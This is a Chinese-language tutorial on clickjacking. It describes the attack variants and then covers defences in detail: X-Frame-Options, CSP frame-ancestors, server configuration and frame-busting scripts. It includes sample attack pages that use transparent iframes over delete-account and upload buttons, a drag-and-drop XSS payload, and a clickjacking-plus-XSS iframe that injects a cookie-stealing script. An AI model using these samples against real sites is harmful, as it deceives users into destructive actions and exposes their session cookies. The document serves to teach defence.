点击劫持(Clickjacking)是一种视觉欺骗攻击,攻击者使用透明 iframe 覆盖恶意页面,诱导用户在不知情的情况下点击隐藏的按钮。
点击劫持(Clickjacking),也称为 UI-Redress Attack(UI 重定向攻击),是一种利用 HTML iframe 的透明特性,将目标网站嵌入恶意页面,通过视觉欺骗诱导用户进行误操作的攻击方式。
┌─────────────────────────────────────────────────────────────┐
│ 恶意网站 (evil.com) │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ 伪装层 (z-index: 1) │ │
│ │ ┌─────────────────┐ │ │
│ │ │ "领取红包" │ ← 用户看到并点击 │ │
│ │ └─────────────────┘ │ │
│ └───────────────────────────────────────────────────────┘ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ 透明 iframe (z-index: 2, opacity: 0) │ │
│ │ ┌─────────────────────────────────────────────────┐ │ │
│ │ │ 目标网站 (target.com/delete) │ │ │
│ │ │ ┌─────────────────┐ │ │ │
│ │ │ │ [删除账户] │ ← 实际点击位置 │ │ │
│ │ │ └─────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘| 类型 | 英文名称 | 攻击方式 | 典型场景 |
|---|---|---|---|
| 经典点击劫持 | Classic Clickjacking | 透明 iframe 覆盖 | 删除账户、授权操作 |
| 拖拽劫持 | Drag and Drop Clickjacking | 拖拽敏感数据到恶意区域 | 窃取数据、执行脚本 |
| 文件劫持 | File Hijacking | 覆盖文件上传按钮 | 上传恶意文件 |
| 光标劫持 | Cursor Jacking | 移动光标显示位置 | 误导用户点击 |
| 触摸劫持 | Tapjacking | 移动端触摸劫持 | 移动应用攻击 |
<!-- 恶意页面:透明 iframe 覆盖 + 伪装按钮 -->
<style>
iframe {
position: absolute;
opacity: 0; /* 完全透明 */
z-index: 2; /* 覆盖在伪装按钮之上 */
}
.fake-btn {
position: absolute;
z-index: 1;
}
</style>
<iframe src="https://target.com/delete-account"></iframe>
<div class="fake-btn">领取红包</div><!DOCTYPE html>
<html>
<head>
<title>社交媒体活动</title>
<style>
/* iframe 精确定位 */
.iframe-container {
position: absolute;
top: 100px; /* 精确定位到目标按钮 */
left: 200px;
width: 150px;
height: 50px;
opacity: 0; /* 完全透明 */
z-index: 2; /* 覆盖在伪装按钮之上 */
overflow: hidden;
}
/* 伪装按钮 */
.fake-btn {
position: absolute;
top: 110px;
left: 210px;
z-index: 1;
}
</style>
</head>
<body>
<!-- 透明 iframe,对准目标网站的“确认”按钮 -->
<div class="iframe-container">
<iframe src="https://target.com/delete-account"></iframe>
</div>
<!-- 伪装按钮 -->
<div class="fake-btn">立即参与</div>
</body>
</html><!DOCTYPE html>
<html>
<head>
<title>拖拽游戏</title>
<style>
.drag-source {
position: absolute;
top: 100px;
left: 100px;
width: 100px;
height: 100px;
background: #4CAF50;
}
.drop-zone {
position: absolute;
top: 100px;
left: 300px;
width: 200px;
height: 200px;
border: 2px dashed #999;
}
</style>
</head>
<body>
<div class="drag-source" draggable="true">拖我</div>
<div class="drop-zone">放到这里</div>
<script>
document.querySelector('.drag-source').addEventListener('dragstart', (e) => {
// 设置恶意数据
e.dataTransfer.setData('text', '<img src=x onerror=alert("XSS")>');
});
</script>
</body>
</html><!DOCTYPE html>
<html>
<head>
<title>文档编辑器</title>
<style>
/* 隐藏文件上传 iframe */
.upload-iframe {
position: absolute;
top: 200px;
left: 100px;
width: 200px;
height: 60px;
opacity: 0; /* 完全透明 */
z-index: 2; /* 覆盖在伪装按钮之上 */
}
.fake-upload-btn {
position: absolute;
top: 205px;
left: 110px;
z-index: 1;
}
</style>
</head>
<body>
<iframe src="https://target.com/upload" class="upload-iframe"></iframe>
<!-- 伪装的上传按钮 -->
<div class="fake-upload-btn">选择文件</div>
</body>
</html>| 场景 | 攻击目标 | 潜在危害 |
|---|---|---|
| 网上银行 | 转账确认按钮 | 资金被盗 |
| 社交媒体 | 授权第三方应用 | 账号被控制 |
| 管理后台 | 删除操作按钮 | 数据丢失 |
| 电子商务 | 确认收货按钮 | 财产损失 |
| 邮箱系统 | 发送邮件按钮 | 隐私泄露 |
| 权限设置 | 授权操作按钮 | 权限被篡改 |
| 值 | 说明 | 使用场景 |
|---|---|---|
DENY | 完全禁止嵌入任何 iframe | 高安全要求页面 |
SAMEORIGIN | 只允许同源页面嵌入 | 一般网站 |
ALLOW-FROM origin | 允许指定来源嵌入(已弃用) | 特定白名单 |
// Express.js
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// 或使用 helmet
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));# Nginx 配置
server {
# 全局配置
add_header X-Frame-Options "SAMEORIGIN" always;
# 特定路径配置
location /admin {
add_header X-Frame-Options "DENY" always;
}
# 允许特定来源(旧语法,新浏览器可能不支持)
location /widget {
add_header X-Frame-Options "ALLOW-FROM https://trusted.com" always;
}
}# Apache 配置
<IfModule mod_headers.c>
Header always set X-Frame-Options "SAMEORIGIN"
</IfModule>// ❌ 局限性:
// 1. ALLOW-FROM 已被现代浏览器弃用
// 2. 无法指定多个允许的来源
// 3. 对旧浏览器兼容性问题
// ✅ 推荐:使用 CSP frame-ancestors 替代# 只允许同源嵌入
Content-Security-Policy: frame-ancestors 'self';
# 允许特定来源
Content-Security-Policy: frame-ancestors 'self' https://trusted.com https://partner.com;
# 允许所有来源(不推荐)
Content-Security-Policy: frame-ancestors *;
# 禁止所有嵌入
Content-Security-Policy: frame-ancestors 'none';// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'self' https://trusted.com"
);
next();
});
// 或使用 helmet
app.use(
helmet.contentSecurityPolicy({
directives: {
frameAncestors: ["'self'", "https://trusted.com"]
}
})
);# Nginx 配置
server {
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted.com" always;
}// 复杂场景:根据路径动态配置
app.use((req, res, next) => {
const path = req.path;
let frameAncestors;
if (path.startsWith('/admin')) {
// 管理后台:禁止嵌入
frameAncestors = "'none'";
} else if (path.startsWith('/widget')) {
// 嵌件:允许合作伙伴嵌入
frameAncestors = "'self' https://partner1.com https://partner2.com";
} else {
// 普通页面:同源嵌入
frameAncestors = "'self'";
}
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
res.setHeader('Content-Security-Policy', `frame-ancestors ${frameAncestors}`);
next();
});/**
* 点击劫持检测工具
*/
class ClickjackingDefender {
/**
* 检测是否被嵌入 iframe
*/
static isEmbedded() {
try {
return window.self !== window.top;
} catch (e) {
return true; // 跨域访问抛出异常,说明被嵌入
}
}
/**
* 跳出 iframe(强制置顶)
*/
static breakOut() {
if (this.isEmbedded()) {
window.top.location = window.self.location;
}
}
/**
* 隐藏页面并警告
*/
static showWarning() {
if (this.isEmbedded()) {
document.body.style.display = 'none';
alert('当前页面被恶意嵌套,请勿操作!');
}
}
}
// 自动执行
ClickjackingDefender.breakOut();
// 或
ClickjackingDefender.showWarning();<!DOCTYPE html>
<html>
<head>
<style>
/* 默认隐藏页面内容 */
body {
display: none;
}
/* 当不在 iframe 中时显示 */
body.safe {
display: block;
}
</style>
</head>
<body>
<script>
// 检测并添加安全类
if (window.self === window.top) {
document.body.classList.add('safe');
} else {
// 被嵌入时的处理
window.top.location = window.self.location;
}
</script>
<!-- 页面内容 -->
<h1>安全的内容</h1>
</body>
</html>/**
* 综合点击劫持防护
*/
function initClickjackingProtection() {
// 检测是否被嵌入
const isEmbedded = (() => {
try {
return window.self !== window.top;
} catch (e) {
return true;
}
})();
if (isEmbedded) {
// 先隐藏页面,防止用户误操作
document.documentElement.style.display = 'none';
// 尝试跳出 iframe
try {
window.top.location = window.self.location;
} catch (e) {
// 跨域受限时降级为警告
alert('当前页面被恶意嵌套,请勿操作!');
}
}
}
// 立即执行
initClickjackingProtection();/**
* X-Frame-Options 配置工具
*/
class XFrameOptionsConfig {
/**
* 根据页面类型配置
*/
static getHeader(pageType) {
const configs = {
// 敏感页面:完全禁止
admin: {
value: 'DENY'
},
// 一般页面:只允许同源
page: {
value: 'SAMEORIGIN'
}
};
return (configs[pageType] || configs.page).value;
}
/**
* Express 中间件
*/
static expressMiddleware() {
return (req, res, next) => {
const pageType = req.path.startsWith('/admin') ? 'admin' : 'page';
res.setHeader('X-Frame-Options', this.getHeader(pageType));
next();
};
}
}
// 使用
app.use(XFrameOptionsConfig.expressMiddleware());/**
* CSP frame-ancestors 配置工具
*/
class CspFrameAncestorsConfig {
/**
* 解析配置
*/
static parse(sources) {
return sources.map(source => {
// 特殊关键字
if (source === "'self'") return "'self'";
if (source === "'none'") return "'none'";
// 普通来源:补全协议
if (/^https?:\/\//.test(source)) return source;
return `https://${source}`;
}).join(' ');
}
/**
* 根据路径匹配 CSP
*/
static resolve(cspConfigs, path) {
for (const pattern of Object.keys(cspConfigs)) {
if (pattern !== '*' && path.startsWith(pattern)) {
return this.parse(cspConfigs[pattern]);
}
}
return this.parse(cspConfigs['*'] || ["'self'"]);
}
/**
* Express 中间件
*/
static expressMiddleware(cspConfigs) {
return (req, res, next) => {
res.setHeader(
'Content-Security-Policy',
`frame-ancestors ${this.resolve(cspConfigs, req.path)}`
);
next();
};
}
}
// 配置示例
const cspConfigs = {
'/payment': ["'none'"],
'/widget': ["'self'", "https://partner1.com", "https://partner2.com"],
'*': ["'self'"]
};
app.use(CspFrameAncestorsConfig.expressMiddleware(cspConfigs));# /etc/11-Nginx基础概述/conf.d/security.conf
# 基础点击劫持防护
server {
# 全局默认:同源嵌入
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "frame-ancestors 'self'" always;
# 敏感路径:完全禁止
location ~ ^/(admin|payment|login|settings) {
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;
# 代理配置...
proxy_pass http://backend;
}
}
# 注意:使用 always 确保所有响应都携带安全头| 特性 | 点击劫持 | CSRF |
|---|---|---|
| 攻击方式 | 视觉欺骗,诱导点击 | 伪造请求,自动提交 |
| 用户交互 | 需要用户点击 | 不需要用户点击 |
| 依赖条件 | iframe 嵌入 | 用户已登录 |
| 防护方式 | X-Frame-Options、CSP | CSRF Token、SameSite |
| 请求来源 | 用户主动点击 | 攻击者构造的请求 |
<!-- 点击劫持 + XSS 组合攻击 -->
<!--
攻击者利用点击劫持诱导用户点击,触发 XSS 漏洞
例如:点击劫持诱导用户点击一个存在 XSS 的按钮
-->
<iframe src="https://target.com/search?q=<script>steal(document.cookie)</script>"
style="opacity: 0; position: absolute;">
</iframe>
<div class="fake-button">领取红包</div>防护要点:
┌─────────────────────────────────────────────────────────┐
│ 第一层:HTTP 头 │
│ ┌─────────────────┐ ┌─────────────────────────┐ │
│ │ X-Frame-Options │ + │ CSP frame-ancestors │ │
│ │ (兼容性保护) │ │ (精确控制) │ │
│ └─────────────────┘ └─────────────────────────┘ │
├─────────────────────────────────────────────────────────┤
│ 第二层:JavaScript 检测 │
│ ┌─────────────────────────────────────────────────┐ │
│ │ window.top === window.self 检测 │ │
│ │ 防止绕过 HTTP 头的情况 │ │
│ └─────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────┤
│ 第三层:业务逻辑保护 │
│ ┌─────────────────────────────────────────────────┐ │
│ │ 重要操作二次确认、验证码 │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘回答:推荐同时使用两者:
# 推荐配置
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://trusted.com| 特性 | X-Frame-Options | CSP frame-ancestors |
|---|---|---|
| 兼容性 | 更广泛 | 现代浏览器 |
| 灵活性 | 低(只能同源或禁止) | 高(可指定多个来源) |
| 控制粒度 | 粗粒度 | 细粒度 |
建议:使用 CSP 作为主要防护,X-Frame-Options 作为兼容性补充。
回答:使用 CSP frame-ancestors:
# 允许多个特定来源
Content-Security-Policy: frame-ancestors 'self' https://partner1.com https://partner2.com
# 不允许 X-Frame-Options: ALLOW-FROM(已弃用)回答:不完全可靠,存在以下问题:
// 可能被绕过的方式:
// 1. 禁用 JavaScript
<noscript>需要启用 JavaScript</noscript>
// 2. 早期版本 IE 的 window 对象覆盖
// 3. 某些安全工具可能阻止检测脚本
// 4. 攻击者可能修改 iframe 沙箱属性
<iframe src="..." sandbox="allow-scripts">建议:JavaScript 检测仅作为补充手段,主要依赖 HTTP 头。
回答:是的,移动端存在触摸劫持(Tapjacking):
<!-- 移动端触摸劫持 -->
<!-- 使用 touchstart/touchend 事件欺骗用户 -->
<style>
.fake-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 9999;
opacity: 0; /* 触摸层透明 */
}
</style>
<div class="fake-overlay">
<!-- 捕获触摸事件并转发到隐藏的 iframe -->
</div>移动端防护:
回答:创建测试页面:
<!DOCTYPE html>
<html>
<head>
<title>点击劫持测试</title>
</head>
<body>
<h1>点击劫持测试页面</h1>
<iframe
id="test-frame"
src="https://your-site.com/sensitive-page"
width="800"
height="600"
></iframe>
<script>
const frame = document.getElementById('test-frame');
// 若防护生效:目标页面拒绝被嵌入(显示空白或错误页,控制台出现 CSP 错误)
frame.addEventListener('load', () => {
try {
console.log('iframe 已加载,title:', frame.contentDocument.title);
} catch (e) {
console.log('错误:', e.message);
}
});
</script>
</body>
</html>预期结果:
回答:嵌件场景需要特殊处理:
// 嵌件防护策略
app.get('/widget', (req, res) => {
// 1. 验证请求来源
const referer = req.headers.referer || req.headers.origin;
const allowedOrigins = ['https://trusted-partner.com'];
// 2. 设置 CSP(允许特定来源嵌入)
const allowedOriginsStr = allowedOrigins.join(' ');
res.setHeader(
'Content-Security-Policy',
`frame-ancestors 'self' ${allowedOriginsStr}`
);
// 3. 嵌件内容应尽量简单,减少敏感操作
// ...
});嵌件安全原则:
💡 提示:点击劫持防护主要通过 HTTP 响应头实现。推荐同时使用 X-Frame-Options 和 CSP frame-ancestors,配合 JavaScript 检测作为补充。对于嵌件场景,需要平衡安全性与可用性,精确配置允许嵌入的来源。